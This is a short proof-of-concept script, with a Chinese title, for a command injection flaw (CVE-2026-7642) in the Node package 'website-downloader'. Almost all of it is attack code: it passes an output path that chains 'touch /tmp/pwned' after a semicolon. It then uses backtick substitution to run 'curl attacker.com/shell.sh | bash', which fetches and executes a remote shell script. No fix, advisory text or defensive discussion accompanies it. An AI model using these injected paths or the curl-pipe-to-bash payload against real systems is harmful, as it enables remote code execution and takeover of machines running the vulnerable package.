CVE-2026-7642 pskill9 website-downloader 命令注入漏洞

// PoC for CVE-2026-7642 // Manipulating the outputPath argument to inject commands const { download_website } = require('website-downloader'); // Normal usage // download_website('http://example.com', './output'); // Malicious usage: Injecting a command to create a file // The payload uses a semicolon to separate commands const maliciousPath = './valid/path; touch /tmp/pwned;'; // Trigger the vulnerability // This will execute: <command> ./valid/path; touch /tmp/pwned; download_website('http://example.com', maliciousPath, (err) => { if (err) console.error(err); }); // Or using backticks for command substitution const reverseShellPath = '`curl attacker.com/shell.sh | bash`'; download_website('http://target.com', reverseShellPath);